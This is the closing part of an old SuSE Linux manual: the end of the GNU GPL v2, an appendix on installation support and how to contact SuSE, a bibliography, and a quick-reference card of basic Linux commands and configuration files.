10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS

Appendix: How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

< one line to give the program's name and a brief idea of what it does.>
Copyright (C) 19yy < name of author>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. This is free software, and you are welcome to redistribute it under certain conditions; type 'show c' for details.

The hypothetical commands 'show w' and 'show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than 'show w' and 'show c'; they could even be mouse-clicks or menu items–whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright interest in the program 'Gnomovision' (which makes passes at compilers) written by James Hacker.

< signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice

This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License.

Appendix I

Support and services

Certain problems occur again and again while installing Linux. Many of the solutions to these problems have made their way into this book.

If you encounter a problem, please make sure the solution is not already mentioned in *this* book or in our support data base (section I.2, page 431) before contacting our support team. In addition, you will find many answers in the `README` files on the first CD.

It is not possible to cover every possibility in this book. Adding every known problem to the book is not economical and would make the book unreadable. There are always new questions and problems anyway.

Should you, however, be confronted with a situation in which all the documentation, including this manual and the support database, do not help you, please feel free to contact our free installation support. Our support team is made up of specialists, who are able to handle even the most complicated problems, and should be able to solve the large majority of your problems.

We have solved most of the problems of installing Linux. So if you either do not find your way or you have a "tricky" question about Linux, do not hesitate to contact us. Our technical support team is here to help you `:-)`

SuSE offers two kinds of support:

- 60 days of *installation support* which is included in the price of this SuSE Linux, and
- *Business support*, commercial support which extends beyond installation support.

Please call us or see our web site for details. Apart from this, we offer no-charge information on Linux and information about our products on-line via the Internet.

These offerings will be covered in the following sections.

I.1 Installation support

I.1.1 Registration

Requirements

Our aim is to provide you with quick and unbureaucratic help within your 60 days of free installation support.

Please help us to provide a fast and reliable service by including your registration code and your full name in each service request.

In addition, if you have not yet registered, we need your complete address, phone, fax and electronic mail address.

We require that you submit this data in order to handle your request.

Here is how to register as a SuSE Linux user.

Registration code A registration card came with your SuSE Linux. There is a registration code printed on this card; this code is unique and serves to verify that you purchased a genuine SuSE Linux. This code matches the code printed on the first page of your reference manual.

Registration card On-line If you send in your registration card or register via our WWW server, `http://www.suse.com/Customer/index.html`, you will become a registered SuSE Linux user. Then you are entitled to get installation support. Registration is required in order to receive support. If you have not yet registered at the time you submit a support request, our support representative will register you.

Since this code is product based, we request that you register every SuSE Linux product you purchase, even if it is an update or if you purchased SuSE Linux directly.

Customer number After registering S.u.S.E. Linux, you will be assigned a customer number. This customer number will subsequently appear on our correspondence with you on your address label and on invoices.

After your product is registered, you may initiate a service request by providing your customer number and registration code with your service request in the subject field of electronic mail. If you do not know your customer number, we will ask you to send us your registration code and your complete name and address (where you are registered, e. g., the company's name). Our employee will tell you your new customer number on request.

I.1.2 Scope of our installation support

Installation support is for getting your SuSE Linux up and running. Our definition of installation support includes the following:

- installing SuSE Linux from CD
- basic configuration of a stand-alone machine
- basic configuration of the X11 GUI
- connecting your stand-alone machine to a mini-network
- basic installation of network services, electronic mail and printers for one machine

We gladly help you connect your machine to your Internet provider. Please make sure before contacting us, however, that the problems that occur aren't caused by the provider itself.

The following topics are *not* included in our installation support:

- configuration of large or commercially used networks
- configuring servers (e. g., mail server, news server, NFS server, Samba server, ISDN server, Modem server, etc.)

- support for DOS, Windows (3.1, 3.11, '95, NT), OS/2, SCO or any other system
- support for commercial Linux programs like **Applix*ware***, **Adabas D**, **Maple**, **Netscape**, etc., even if they are distributed by us
- support for other Linux distributions (e. g., **Caldera**, **Debian**, **DLD**, **Red Hat**, etc.)
- error analysis or support for homemade or self-compiled programs

Our installation support should be regarded as help for installing S.u.S.E. Linux only. It is not a complete training in Linux. It is not to supply background information. For more complicated requests, please contact our business support service.

Our support team will make every reasonable effort to help you. We assume that you have already tried all the information you could gather from this book and on-line help.

However, we cannot exclude the possibility that SuSE Linux will not run at all or not completely on a given hardware platform. We cannot give you a 100% guarantee of success concerning our installation support.

Support for software packages

Besides the basic Linux kernel system, we offer a very wide variety of software packages on our SuSE Linux CD. We try to keep these packages up to date, but it is not possible for us to know each and every package's documentation nor to program additional features. Please understand this when we refer you to the supplied information (manpages, `README` files and on-line help).

Linux *Snapshot*, Linux Decathlon, Internet

Installation support is only available for tools and packages that come with SuSE Linux. Excluded are, e. g., questions on other packages or on "hacker kernels" or on packages that can be found on the Internet or on our other products **Linux *Snapshot*** or **Linux Decathlon**.

Feedback

We always appreciate your tips, hints and problem descriptions. We will help you if the encountered problem is a basic problem or if we already have some help at hand. Your solution provides us with useful information for avoiding this problem in our next release, thus helping other SuSE Linux customers via our WWW server or the Support Data Base. We always make every effort to customize our SuSE Linux products to the wishes and ideas of our customers. Therefore, we highly appreciate any criticism of our CD or of this book. We consider this the best way to correct important errors and to maintain our high quality standard.

Send feedback any time to `feedback@suse.de` via electronic mail or you can send us a letter or fax.

Period of time for installation support

The period of time for installation support is restricted to 60 days from the day of purchase but no longer than 60 days after the following release.

I.1.3 What we need to know to help you

For effective and fast support, we need to know the specifications of your machine, the software running and the problem that occurred. Further information such as error messages and configuration files will help too.

Before you contact S.u.S.E. support via phone, electronic mail, fax or postal mail, please check the list below. The more information we get in advance, the faster and better we can help you. In many cases, you will solve a problem yourself during the process of explicitly describing it for installation support.

> Many solutions to well-known problems are already available. These are presented in our Support Data Base at `http://www.suse.de/Support/sdb_e/index.html`. We recommend looking there first!
>
> Besides the on-line Support Data Base, the complete Support Data Base can also be found in package `sdb`, series `doc1` on your SuSE Linux CD. Those articles can be read using any WWW browser (e. g., **arena**, **lynx**, or **netscape**).

Now we list what we need to know from you and about your system respectively:

Registration

1. Always give us your registration data as described in section I.1.1.

Describe

2. Please describe exactly:
   - *what* happened (exact error messages, screen phenomena, disk noises, etc.); please submit to us the original message not an interpretation!
   - *when* it happened (while booting from disk, while accessing the CD-ROM, while moving the mouse, etc.)
   - can you make it happen again?
   - what you have done to solve the problem
3. Try to remember whether you have changed anything (even if it might seem irrelevant to you) in the system configuration *before* the error occurred. This might have happened the day before or before booting for the previous time.

Hardware

4. Many errors and phenomena that occur are due to faulty or incorrectly working hardware. Most often there is no visible connection between the error and the hardware components. To be sure, we need detailed background information on your system. Please check the list below and send us as many pieces of information as possible.
   - Processor: manufacturer, type, frequency, mask stepping
   - Motherboard: manufacturer, name, BIOS version, onboard controller
   - Memory: RAM size, number of modules, type of RAM (FP, EDO, BEDO, SDRAM), access time (60 ns, 70 ns), cache size, type of cache

- Hard disk controller: SCSI, IDE, EIDE, onboard or module, name, BIOS version, chipset
- Hard disks: type, manufacturer, name, size, bus system (SCSI, IDE, EIDE, SSA), partitioning
- CD-ROM drive: type, manufacturer, name, size, speed, internal or external, SCSI EIDE (ATAPI), parallel port
- Other media: CD-writer, streamer (type, manufacturer, SCSI or EIDE, floppy streamer, capacity), ZIP drives, Jazz drives, MO drives, flopticals
- Graphics device: type, manufacturer, chipset, bus (PCI, VL-Bus, ISA), memory size, memory type (DRAM, VRAM, WRAM, SGRAM, EDO)
- LAN card: type, manufacturer, chipset, bus (PCI, VL-Bus, ISA), LAN type (Ethernet, Token Ring, etc.), connection type (coax cable, twisted pair), port address, IRQ
- Other peripheral devices: printer, parallel port, serial port, modem, ISDN card, scanner, sound card
-

5. If you encounter difficulties while installing the **XFree86** system, the following information may come in handy: **XFree86**
   - Graphics device: type, manufacturer, chipset, bus (PCI, VL-Bus, ISA), memory size, memory type (DRAM, VRAM, WRAM, SGRAM, EDO)
   - Monitor: type, manufacturer, max. horizontal frequency, max. vertical frequency, bandwidth.
   - Mouse: type, manufacturer, connection (serial, PS/2, port), date of purchase
   - Installed X-server: package name, if there are multiple servers installed please tell us the order of installation
   - How you configured X: e. g., using **XF86Setup** or **xf86config**
   - The contents of the file `.X.err` which is to be found in the home directory of the user who invoked **startx**
   - If you are running **xdm** (runlevel 3):
     - `/var/lib/xdm/xdm-errors`: error messages of the X server
     - `.xsession-errors` in the home directory

Important files and screen messages

The information just mentioned can be gathered by consulting your users manuals, screen messages and from the following files:

- Loadable modules

```
/etc/conf.modules
/var/log/messages
```

- Kernel

  `/usr/src/linux/.config`

- Boot messages

  `/var/log/messages`
  `/var/log/boot.msg`

> The pertinent lines of `/var/log/messages` are sufficient. Please do not send us the complete `/var/log/messages`!

Display /proc files with **cat**:

- PCI devices: **cat /proc/pci**
- Interrupts: **cat /proc/interrupts**
- Port addresses: **cat /proc/ioports**
- Memory: **cat /proc/meminfo**
- Managed devices: **cat /proc/devices**
- Networking devices: **cat /proc/net/dev**
- SCSI devices: **cat /proc/scsi/scsi**
- SCSI controller: **cat /proc/scsi/<controller>/0**

These can be redirected into a file. Example:

```
earth: # cat /proc/pci > /tmp/pcidevices
```

Now you can send this file `/tmp/pcidevices` to our support team.

> The files in `/proc` can only be viewed using **cat**, **less**, or **more**, but cannot be edited. Well, nowadays even this is possible, but do not rely on it!

If you do not manage to get a Linux system up and running, you can gather the information mentioned above using **linuxrc**. See section 2.3.4, page 14.

I.1.4 How to contact the SuSE support team

You can reach our support team via electronic mail, fax, regular mail und telephone.

Contacting SuSE via the phone looks at first to be the fastest way. But spelling out error messages, command entries and file names on the phone is quite difficult and boring ;-)

In most cases, it is best to describe your problem in a fax, electronic mail or letter. On the one hand, you have the opportunity to formulate your request more precisely, and on the other, our employee can tell in most cases much better where the problem is located.

In addition, we handle requests via electronic mail, fax or letter seven days a week, whereas the hotline can only be reached two times a week.

For the fast and easy composition of a support request, we supply you with an electronic support request questionnaire in two different places:

- on the first CD of the installation set
- on the installed system

The easiest and most effective way is to send us an electronic mail.

Here is how you can reach our support team:

- **via electronic mail**
  Address: `support@suse.com`
  Address (Europe): `support@suse.de`
- **via fax**
  Fax: `+1-510-835-7875`
  Fax (Europe): `+49-911-741-7755`
- **via phone**
  Phone: `+1-510-835-7879`
  Mo & Th 11:00am – 5pm (PST)

I.2 Further services

We would also like to draw your attention to our free of charge services that are available around the clock:

- **SuSE's web site**
  `http://www.suse.com`
- **SuSE mailing lists** (information and discussions via electronic mail):
  - `suse-announce-e@suse.de` – announcements concerning SuSE Linux (English)
  - `suse-announce@suse.de` – announcements concerning SuSE Linux (German)
  - `suse-linux-e@suse.de` – all about SuSE Linux (English)
  - `suse-linux@suse.de` – all about SuSE Linux (German)
  - `suse-isdn@suse.de` – ISDN and SuSE Linux (mainly in German)
  - `suse-applix@suse.de` – the **Applix*ware*** office suite (mainly in German)
  - `suse-adabas@suse.de` – about **Adabas D** (mainly in German)
  - `suse-informix@suse.de` – about **Informix** (mainly in German)

  To subscribe to any of these lists send an electronic mail message to `majordomo@suse.de` with **`subscribe`** <**`list name`**> in the body. The subject does not count. For example:

  ```
  subscribe suse-announce-e
  ```

  to receive all announcements. To unsubscribe from a list, write another electronic mail message to `majordomo@suse.de`, this time with the body:

  ```
  unsubscribe suse-announce-e
  ```

  Please note, that **`unsubscribe`** has to be done from the same electronic mail account from which you subscribed.

- **SuSE's FTP site**
  ftp.suse.com
  Latest information, updates and bug fixes
  Login as '`ftp`'.

Bibliography

[Almesberger, 1994]Almesberger, W. (1994). *LILO User's guide*. (siehe Datei `/usr/doc/lilo/user.dvi`).

[Bailey, 1997]Bailey, E. C. (1997). *Maximum RPM*. Red Hat. (ISBN 1-888172-78-9).

[Cameron and Rosenblatt, 1991]Cameron, D. and Rosenblatt, B. (1991). *Learning GNU Emacs*. O'Reilly & Associates, Inc. (ISBN 0 937175-84-6).

[Costales et al., 1993]Costales, B., Allman, E., and Rickert, N. (1993). *sendmail*. O'Reilly & Associates, Inc. (ISBN 1-56592-056-2).

[Dawson, 1995]Dawson, T. (v2.8, 07 Jan 1995). *Linux NET-2/NET-3 HOWTO*. (siehe Datei `/usr/doc/howto/NET-2-HOWTO`).

[Fang et al., 1993]Fang, C., Crosson, B., and Raymond, E. S. (1993). *The Hitchhiker's Guide to X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Profit)*. (siehe Datei `/usr/X11/lib/X11/doc/VideoModes.doc`).

[Frisch, 1993]Frisch, Æ. (1993). *Essential System Administration*. O'Reilly & Associates, Inc. (ISBN 0-937175-80-3).

[Garfinkel and Spafford, 1993]Garfinkel, S. and Spafford, G. (1993). *Pratical UNIX Security*. O'Reilly & Associates, Inc. (ISBN 0-937175-72-2).

[Gilly, 1992]Gilly, D. (1992). *UNIX in a nutshell: System V Edition*. O'Reilly & Associates, Inc. (ISBN 1-56592-001-5).

[Goossens et al., 1993]Goossens, M., Mittelbach, F., and Samarin, A. (1993). *The LaTeX Companion*. Addison Wesley GmbH. (ISBN 3-54199-8).

[Grieger, 1994]Grieger, W. (1994). *Wer hat Angst vorm Emacs?* Addison Wesley GmbH. (ISBN 3-89319-620-X).

[Herold, 1992]Herold, H. (1992). *UNIX Grundlagen*. Addison Wesley GmbH. (ISBN 3-89319-542-8).

[Hetze et al., 1995]Hetze, S., Hohndel, D., Müller, M., and Kirch, O. (1995). *Linux Anwenderhandbuch*. LunetIX Softfair, 5.s edition. (ISBN 3-929764-04-0).

[Hunt, 1995]Hunt, C. (1995). *TCP/IP Netzwerk Administration*. O'Reilly & Associates, Inc. (ISBN 3-930673-02-9).

[Kirch, 1995]Kirch, O. (1995). *LINUX Network Administrator's Guide*. O'Reilly & Associates, Inc. (ISBN 1-56592-087-2).

[Kofler, 1995]Kofler, M. (1995). *Linux*. Addison Wesley GmbH. (ISBN 3-89319-796-6).

[Kopka, 1994]Kopka, H. (1994). *LaTeX-Einführung*. Addison Wesley GmbH. (ISBN 3-89319-664-1).

[Lamb, 1990]Lamb, L. (1990). *Learning the vi Editor*. O'Reilly & Associates, Inc. (ISBN 0-937175-67-6).

[Lamport, 1994]Lamport, L. (1994). *LaTeX User's Guide and Reference Manual*. Addison Wesley GmbH. (ISBN 0-201-52983-1).

[Leffler, 1996a]Leffler, S. (1996a). *HylaFAX Home Page*. `http://www.vix.com/hylafax/`.

[Leffler, 1996b]Leffler, S. (1996b). *TIFF Software*. `http://www-mipl.jpl.nasa.gov/~ndr/tiff/`.

[O'Reilly and Todino, 1992]O'Reilly, T. and Todino, G. (1992). *Manging UUCP and Usenet*. O'Reilly & Associates, Inc. (ISBN 0-937175-93-5).

[Perlman, 1994]Perlman, G. (1994). *Unix For Software Developers*. Prentice-Hall. (ISBN 13-932997-8).

[Pugh, 1994]Pugh, K. (1994). *UNIX For The MS-DOS User*. Prentice-Hall. (ISBN 13-146077-3).

[Schoonover and Bowie, 1992]Schoonover, M. and Bowie, J. (1992). *GNU Emacs*. Addison Wesley GmbH. (ISBN 0-201-56345-2).

[The XFree86™-Team, 1996]The XFree86™-Team (1996). *XF86Config(4/5) - Configuration File for Xfree86™*. Manual-Page zu XFree86™.

[Todino et al., 1993]Todino, G., Strang, J., and Peek, J. (1993). *Learning the UNIX operating system*. O'Reilly & Associates, Inc. (ISBN 1-56592-060-0).

[Welsh, 1994]Welsh, M. (1994). *Linux Installation and Getting Started*. S.u.S.E. GmbH, 2. edition. (ISBN 3-930419-03-3).

[Welsh and Kaufman, 1995]Welsh, M. and Kaufman, L. (1995). *Running Linux*. O'Reilly & Associates, Inc. (ISBN 1-56592-100-3).

Index

D

J

K

Q

R

Reference: Important commands and files

The blanks between commands and options “separators” are essential and have to be entered as “blanks” (whitespaces)! See section 1.3, page 5.

Info/Documentation

less <**file name**>	View text file
cd <**directory**>	change to directory
	(*wrong*: **cdDirectory** – “DOS nonsense”!)
ls -l <**dir_or_file**>	list directory and file attributes
rpm -qi <**package name**>	Package info
man <**command**>	Manpage for a command
/usr/doc/howto	lots of HOWTOs concerning lots of questions
/usr/doc/packages/*	Documentation of the installed packages
/usr/doc/packages/i4l/README.Quick	
	current ISDN documentation

General configuration files and logs

~	Synonym for Home directory
/etc	Directory of configuration files
/etc/conf.modules	Automatic loading o modules
/etc/rc.config	SuSE Linux main configuration file
/etc/rc.config.d	Directory of /etc/rc.config components
/etc/profile	Configuration of the login shell (**bash**)
/etc/profile.d	Directory for /etc/profile components
~/.profile	Own extension for /etc/profile
	see ~/.bashrc aund ~/.bashrc_login
/var/log	Directory for system logs
/var/log/messages	general system messages
/var/log/boot.msg	Kernel boot messages

System start

/etc/lilo.conf	LILOconfiguration file
/sbin/init.d	Directory for system start scripts

X Configuration

/etc/XF86Config	X Server configuration file
~/.X.err	X Server messages

/var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx   the X Server

Network

/sbin/ifconfig	Show network configuration
/sbin/route -n	Show routing table
ping <**IP number**>	Test whether host is reachable